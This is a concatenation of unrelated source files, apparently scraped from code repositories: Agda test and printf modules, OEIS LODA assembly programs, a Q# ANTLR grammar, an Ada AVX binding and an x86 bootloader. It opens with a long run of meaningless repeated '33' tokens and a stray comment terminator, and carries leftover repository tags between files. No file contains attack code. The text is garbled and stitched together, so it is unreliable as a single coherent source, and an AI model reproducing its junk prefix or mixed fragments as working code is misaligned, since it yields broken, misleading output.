33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
test/Fail/Issue5434-3.agda | KDr2/agda | 0 | 2706 | <gh_stars>0
{-# OPTIONS --cubical-compatible #-}
mutual
data D : Set → Set₁ where
c : (@0 A : Set) → _ → D _
_ : (@0 A : Set) → A → D A
_ = c
|
oeis/093/A093359.asm | neoneye/loda-programs | 11 | 88692 | <gh_stars>10-100
; A093359: Primes of the form 28n + 1.
; Submitted by <NAME>
; 29,113,197,281,337,421,449,617,673,701,757,953,1009,1093,1289,1373,1429,1597,1709,1877,1933,2017,2129,2213,2269,2297,2381,2437,2521,2549,2633,2689,2801,2857,2969,3109,3137,3221,3361,3389,3529,3557,3613,3697,4201,4229,4397,4481,4621,4649,4733,4789,4817,4957,5153,5209,5237,5573,5657,5741,5881,6133,6217,6301,6329,6469,6553,6581,6637,6833,6917,7001,7057,7253,7309,7393,7477,7561,7589,7673,7757,7841,8009,8093,8233,8317,8429,8513,8597,8681,8737,8821,8849,8933,9157,9241,9437,9521,9661,9689
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,28
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
add $0,29
|
Specifications/Language/5_Grammar/QSharpParser.g4 | tcNickolas/qsharp-language | 2 | 3223 | parser grammar QSharpParser;
options {
tokenVocab = QSharpLexer;
}
program : namespace* EOF;
// Namespace
namespace : 'namespace' qualifiedName BraceLeft namespaceElement* BraceRight;
qualifiedName : Identifier ('.' Identifier)*;
namespaceElement
: openDirective
| typeDeclaration
| callableDeclaration
;
// Open Directive
openDirective : 'open' qualifiedName ('as' qualifiedName)? ';';
// Declaration
attribute : '@' expression;
access : 'internal';
declarationPrefix : attribute* access?;
// Type Declaration
typeDeclaration : declarationPrefix 'newtype' Identifier '=' underlyingType ';';
underlyingType
: typeDeclarationTuple
| type
;
typeDeclarationTuple : '(' (typeTupleItem (',' typeTupleItem)*)? ')';
typeTupleItem
: namedItem
| underlyingType
;
namedItem : Identifier ':' type;
// Callable Declaration
callableDeclaration
: declarationPrefix ('function' | 'operation')
Identifier typeParameterBinding? parameterTuple
':' type characteristics?
callableBody
;
typeParameterBinding : '<' (TypeParameter (',' TypeParameter)*)? '>';
parameterTuple : '(' (parameter (',' parameter)*)? ')';
parameter
: namedItem
| parameterTuple
;
characteristics : 'is' characteristicsExpression;
characteristicsExpression
: 'Adj'
| 'Ctl'
| '(' characteristicsExpression ')'
| characteristicsExpression '*' characteristicsExpression
| characteristicsExpression '+' characteristicsExpression
;
callableBody
: BraceLeft specialization* BraceRight
| scope
;
specialization : specializationName+ specializationGenerator;
specializationName
: 'body'
| 'adjoint'
| 'controlled'
;
specializationGenerator
: 'auto' ';'
| 'self' ';'
| 'invert' ';'
| 'distribute' ';'
| 'intrinsic' ';'
| providedSpecialization
;
providedSpecialization : specializationParameterTuple? scope;
specializationParameterTuple : '(' (specializationParameter (',' specializationParameter)*)? ')';
specializationParameter
: Identifier
| '...'
;
// Type
type
: '_'
| TypeParameter
| 'BigInt'
| 'Bool'
| 'Double'
| 'Int'
| 'Pauli'
| 'Qubit'
| 'Range'
| 'Result'
| 'String'
| 'Unit'
| qualifiedName
| '(' (type (',' type)* ','?)? ')'
| '(' arrowType characteristics? ')'
| type '[' ']'
;
arrowType
: '(' type ('->' | '=>') type ')'
| type ('->' | '=>') type
;
// Statement
statement
: expression ';'
| 'return' expression ';'
| 'fail' expression ';'
| 'let' symbolBinding '=' expression ';'
| 'mutable' symbolBinding '=' expression ';'
| 'set' symbolBinding '=' expression ';'
| 'set' Identifier updateOperator expression ';'
| 'set' Identifier 'w/=' expression '<-' expression ';'
| 'if' '(' expression ')' scope
| 'elif' '(' expression ')' scope
| 'else' scope
| 'for' '(' symbolBinding 'in' expression ')' scope
| 'while' '(' expression ')' scope
| 'repeat' scope
| 'until' '(' expression ')' (';' | 'fixup' scope)
| 'within' scope
| 'apply' scope
| 'using' '(' symbolBinding '=' qubitInitializer ')' scope
| 'borrowing' '(' symbolBinding '=' qubitInitializer ')' scope
;
scope : BraceLeft statement* BraceRight;
symbolBinding
: '_'
| Identifier
| '(' (symbolBinding (',' symbolBinding)* ','?)? ')'
;
updateOperator
: '^='
| '*='
| '/='
| '%='
| '+='
| '-='
| '>>>='
| '<<<='
| '&&&='
| '^^^='
| '|||='
| 'and='
| 'or='
;
qubitInitializer
: 'Qubit' '(' ')'
| 'Qubit' '[' expression ']'
| '(' (qubitInitializer (',' qubitInitializer)* ','?)? ')'
;
// Expression
expression
: '_'
| qualifiedName ('<' (type (',' type)* ','?)? '>')?
| IntegerLiteral
| BigIntegerLiteral
| DoubleLiteral
| DoubleQuote stringContent* StringDoubleQuote
| DollarQuote interpStringContent* InterpDoubleQuote
| boolLiteral
| resultLiteral
| pauliLiteral
| '(' (expression (',' expression)* ','?)? ')'
| '[' (expression (',' expression)* ','?)? ']'
| 'new' type '[' expression ']'
| expression ('::' Identifier | '[' expression ']')
| expression '!'
| <assoc=right> 'Controlled' expression
| <assoc=right> 'Adjoint' expression
| expression '(' (expression (',' expression)* ','?)? ')'
| <assoc=right> ('-' | 'not' | '~~~') expression
| <assoc=right> expression '^' expression
| expression ('*' | '/' | '%') expression
| expression ('+' | '-') expression
| expression ('>>>' | '<<<') expression
| expression ('>' | '<' | '>=' | '<=') expression
| expression ('==' | '!=') expression
| expression '&&&' expression
| expression '^^^' expression
| expression '|||' expression
| expression 'and' expression
| expression 'or' expression
| <assoc=right> expression '?' expression '|' expression
| expression '..' expression
| expression '...'
| '...' expression
| '...'
| expression 'w/' expression '<-' expression
;
boolLiteral
: 'false'
| 'true'
;
resultLiteral
: 'Zero'
| 'One'
;
pauliLiteral
: 'PauliI'
| 'PauliX'
| 'PauliY'
| 'PauliZ'
;
stringContent
: StringEscape
| StringText
;
interpStringContent
: InterpStringEscape
| InterpBraceLeft expression BraceRight
| InterpStringText
;
|
test/Succeed/Printf.agda | redfish64/autonomic-agda | 3 | 7654 |
module Printf where
_∘_ : {A : Set}{B : A -> Set}{C : {x : A} -> B x -> Set} ->
(f : {x : A}(y : B x) -> C y)(g : (x : A) -> B x)(x : A) -> C (g x)
(f ∘ g) x = f (g x)
infixr 10 _::_
data List (A : Set) : Set where
nil : List A
_::_ : A -> List A -> List A
{-# BUILTIN LIST List #-}
{-# BUILTIN NIL nil #-}
{-# BUILTIN CONS _::_ #-}
[_] : {A : Set} -> A -> List A
[ x ] = x :: nil
module Primitive where
postulate
String : Set
Float : Set
Char : Set
data Nat : Set where
zero : Nat
suc : Nat → Nat
data Int : Set where
pos : Nat → Int
negsuc : Nat → Int
{-# BUILTIN NATURAL Nat #-}
{-# BUILTIN INTEGER Int #-}
{-# BUILTIN INTEGERPOS pos #-}
{-# BUILTIN INTEGERNEGSUC negsuc #-}
{-# BUILTIN STRING String #-}
{-# BUILTIN FLOAT Float #-}
{-# BUILTIN CHAR Char #-}
private
primitive
primStringAppend : String -> String -> String
primStringToList : String -> List Char
primStringFromList : List Char -> String
primShowChar : Char -> String
primShowInteger : Int -> String
primShowFloat : Float -> String
_++_ = primStringAppend
showChar = primShowChar
showInt = primShowInteger
showFloat = primShowFloat
stringToList = primStringToList
listToString = primStringFromList
open Primitive
data Unit : Set where
unit : Unit
infixr 8 _×_
infixr 8 _◅_
data _×_ (A B : Set) : Set where
_◅_ : A -> B -> A × B
data Format : Set where
stringArg : Format
intArg : Format
floatArg : Format
charArg : Format
litChar : Char -> Format
badFormat : Char -> Format
data BadFormat (c : Char) : Set where
format : String -> List Format
format = format' ∘ stringToList
where
format' : List Char -> List Format
format' ('%' :: 's' :: fmt) = stringArg :: format' fmt
format' ('%' :: 'd' :: fmt) = intArg :: format' fmt
format' ('%' :: 'f' :: fmt) = floatArg :: format' fmt
format' ('%' :: 'c' :: fmt) = charArg :: format' fmt
format' ('%' :: '%' :: fmt) = litChar '%' :: format' fmt
format' ('%' :: c :: fmt) = badFormat c :: format' fmt
format' (c :: fmt) = litChar c :: format' fmt
format' nil = nil
Printf' : List Format -> Set
Printf' (stringArg :: fmt) = String × Printf' fmt
Printf' (intArg :: fmt) = Int × Printf' fmt
Printf' (floatArg :: fmt) = Float × Printf' fmt
Printf' (charArg :: fmt) = Char × Printf' fmt
Printf' (badFormat c :: fmt) = BadFormat c
Printf' (litChar _ :: fmt) = Printf' fmt
Printf' nil = Unit
Printf : String -> Set
Printf fmt = Printf' (format fmt)
printf : (fmt : String) -> Printf fmt -> String
printf = printf' ∘ format
where
printf' : (fmt : List Format) -> Printf' fmt -> String
printf' (stringArg :: fmt) (s ◅ args) = s ++ printf' fmt args
printf' (intArg :: fmt) (n ◅ args) = showInt n ++ printf' fmt args
printf' (floatArg :: fmt) (x ◅ args) = showFloat x ++ printf' fmt args
printf' (charArg :: fmt) (c ◅ args) = showChar c ++ printf' fmt args
printf' (litChar c :: fmt) args = listToString [ c ] ++ printf' fmt args
printf' (badFormat _ :: fmt) ()
printf' nil unit = ""
|
orka_simd/src/x86/gnat/orka-simd-avx-doubles-math.ads | onox/orka | 52 | 7911 | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2016 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
package Orka.SIMD.AVX.Doubles.Math is
pragma Pure;
function Min (Left, Right : m256d) return m256d
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_minpd256";
-- Compare each 64-bit double in Left and Right and take the minimum values.
--
-- Result (I) := Double'Min (Left (I), Right (I)) for I in 1 ..4
function Max (Left, Right : m256d) return m256d
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_maxpd256";
-- Compare each 64-bit double in Left and Right and take the maximum values.
--
-- Result (I) := Double'Max (Left (I), Right (I)) for I in 1 ..4
function Sqrt (Elements : m256d) return m256d
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_sqrtpd256";
-- Return the square root (Sqrt(X)) of each element
function Round (Elements : m256d; Rounding : Unsigned_32) return m256d
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_roundpd256";
function Round_Nearest_Integer (Elements : m256d) return m256d is
(Round (Elements, 0))
with Inline;
-- Round each element to the nearest integer
function Floor (Elements : m256d) return m256d is
(Round (Elements, 1))
with Inline;
-- Round each element down to an integer value
function Ceil (Elements : m256d) return m256d is
(Round (Elements, 2))
with Inline;
-- Round each element up to an integer value
function Round_Truncate (Elements : m256d) return m256d is
(Round (Elements, 3))
with Inline;
-- Round each element to zero
function Cross_Product (Left, Right : m256d) return m256d
with Inline;
end Orka.SIMD.AVX.Doubles.Math;
|
oeis/016/A016855.asm | neoneye/loda-programs | 11 | 27106 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A016855: a(n) = (5*n)^7.
; 0,78125,10000000,170859375,1280000000,6103515625,21870000000,64339296875,163840000000,373669453125,781250000000,1522435234375,2799360000000,4902227890625,8235430000000,13348388671875,20971520000000,32057708828125,47829690000000,69833729609375,100000000000000,140710042265625,194871710000000,266001988046875,358318080000000,476837158203125,627485170000000,817215093984375,1054135040000000,1347646586640625,1708593750000000,2149422977421875,2684354560000000,3329565857578125,4103386730000000
pow $0,7
mul $0,78125
|
loader.asm | jakiki6/simpleOS | 5 | 25937 | org 0x7c00
bits 16
conf: equ 0xa000
conf.start: equ conf
conf.lba_offset: equ conf.start - 8
conf.drive: equ conf.lba_offset - 1
stage1:
xor ax, ax
xor bx, bx
xor cx, cx
mov byte [conf.drive], dl
xor dx, dx
xor si, si
xor di, di
push 0x2000
pop ss
mov esp, 0xffff
push cs
pop ds
push cs
pop es
sti
.load_all:
mov si, DAP.lba_lower
mov di, conf.lba_offset
mov cl, 8
rep movsb
mov ah, 0x42
mov dl, byte [conf.drive]
mov si, DAP
clc
int 0x13
jc .load_all
setup:
xor ax, ax
cli
push ds
lgdt [gdtinfo]
mov eax, cr0
or al, 1
mov cr0, eax
jmp $+2
mov bx, 0x08
mov ds, bx
mov cr0, eax
jmp 0x08:.pmode
.pmode: mov bx, 0x10
mov ds, bx
mov es, bx
mov ss, bx
mov fs, bx
mov gs, bx
and al, 0xfe
mov cr0, eax
.huge_unreal:
pop ds
sti
xor ax, ax
xor bx, bx
xor cx, cx
xor dx, dx
xor si, si
xor di, di
xor bp, bp
push 0x2000
pop ss
mov sp, 0xffff
push 0x1000
pop ds
push ds
pop es
push 0x1000
push 0x0000
retf
gdtinfo:
dw gdt_end - gdt - 1 ;last byte in table
dd gdt ;start of table
gdt: dd 0,0 ; entry 0 is always unused
flatcode:
db 0xff, 0xff, 0, 0, 0, 10011010b, 10001111b, 0
flatdata:
db 0xff, 0xff, 0, 0, 0, 10010010b, 11001111b, 0
gdt_end:
DAP:
.header:
db 0x10 ; header
.unused:
db 0x00 ; unused
.count:
dw 0x0080 ; number of sectors
.offset_offset:
dw 0x0000 ; offset
.offset_segment:
dw 0x1000 ; offset
.lba_lower:
dq 1 ; lba
.lba_upper:
dq 0 ; lba
.end:
db 0x13, 0x37
times 510 - ($ - $$) nop
dw 0xaa55
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.